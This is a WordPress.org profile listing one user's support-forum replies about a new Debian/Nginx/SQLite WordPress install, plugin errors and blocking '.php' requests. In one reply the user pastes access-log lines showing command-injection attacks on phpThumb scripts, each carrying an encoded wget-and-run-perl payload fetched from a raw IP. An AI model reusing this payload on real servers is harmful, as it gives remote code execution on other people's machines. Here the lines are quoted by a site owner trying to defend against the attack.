arachma1
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Looking for advices to move Drupal siteSo? Is it impossible to do those points without creating my own plugin? If so, then might it be better of if I would use Drupal? I hope I am wrong.
Forum: Fixing WordPress
In reply to: Warning: addslashes() expects parameter 1 to be stringI experience the same problem but on pdo/db.php which is part of “PDO (SQLite) For WordPress” plugin.
PHP Warning: addslashes() expects parameter 1 to be string, array given in /home/www/wordpress-3.3/wp-content/pdo/db.php on line 117
I am on WordPress v3.3.
Silly me!
It is quite obvious from the error message that there is no curl_init() function on my setup.
After installing php5-curl module and restarted php5-fpm, WP Minify works fine with Use “pretty” URL” box thicked.
Forum: Plugins
In reply to: Whit screen error after deactivating w3 total cache pluginMy experience with WordPress is only 2 days now, in the whole of my life :), but I have been experiencing the same issue from the start when trying some plugins.
How is your setup (server OS, web server, database, etc)?
I am using Debian Wheezy, Nginx with php5-fpm and SQLite3 with “PDO SQLite” plugin for my WordPress v3.3.
What I usually do so far when I got a blank white screen is, to check my Nginx error.log, manually remove every files related to the plugins including the additional settings in wp-config.php (if any), restart php5-fpm and nginx.
I just tried to activate and restore the default settings, and it works.
After enabling each of the settings as I used before, one by one, the problem only happens when I ticked on Use “pretty” URL” box. That is 100% reproducible.
Forum: Fixing WordPress
In reply to: Rewrite all URLs with php extensionDid you mean my site using WordPress? If so, it is http://myweblog.info which is located in a VPS provider some where in Germany. But it only accepts requests from my home IP address at the moment, until I find a good solution to block any requests containing “.php”.
Forum: Fixing WordPress
In reply to: Rewrite all URLs with php extensionI just have my WordPress running since this morning 🙂 So I don’t know the exact vulnerabilities on it. But since I have it running my web server got bombardier with requests like below, which I am quite sure they are not the requests from normal users:
_|94.23.225.138|-|27/Dec/2011:08:10:41 +0100|GET|/wp-content/themes/redcarpet/scripts/phpthumb/phpthumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9|HTTP/1.1|410|152|-|Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0|-
_|94.23.225.138|-|27/Dec/2011:08:10:41 +0100|GET|/wp-content/plugins/com-resize/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9|HTTP/1.1|410|152|-|Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0|-
_|94.23.225.138|-|27/Dec/2011:08:10:41 +0100|GET|/wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9|HTTP/1.1|410|152|-|Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0|-Forum: Fixing WordPress
In reply to: Rewrite all URLs with php extensionThanks Jorge,
But that does not answer my question. As what you pointed out (I think) can easily be achieved using Permalink function.
Maybe I need to explain in more detail on what I want to achieve.
My main intention is to block any request for URLs containing “.php”, to avoid any possible exploits. For that, there should not be any links on my website containing “.php”. So what I need is a function on my WordPress to automatically change those URLs before the page sent to the browser. I can manually change them on every PHP scripts, but then I will have to re-do them on every upgrades.
Kind regards,
Anto
Forum: Installing WordPress
In reply to: Issue on WP 3.3. fresh install with SQLite3I finally just decided to apply a very quick workaround:
1. Install MySQL and all related packages
2. Setup WordPress to use MySQL
3. Complete WordPress installation
4. Dump MySQL database and convert it into SQLite3 database
5. Install and setup “PDO (SQLite) For WordPress” plugin
6. Setup WordPress to use SQLite3 database
7. Remove MySQL and all related packagesMy WordPress is now happily running with SQLite3 database
I think PDO SQLite3 should be natively supported in WordPress so this kind of workaround is not needed anymore.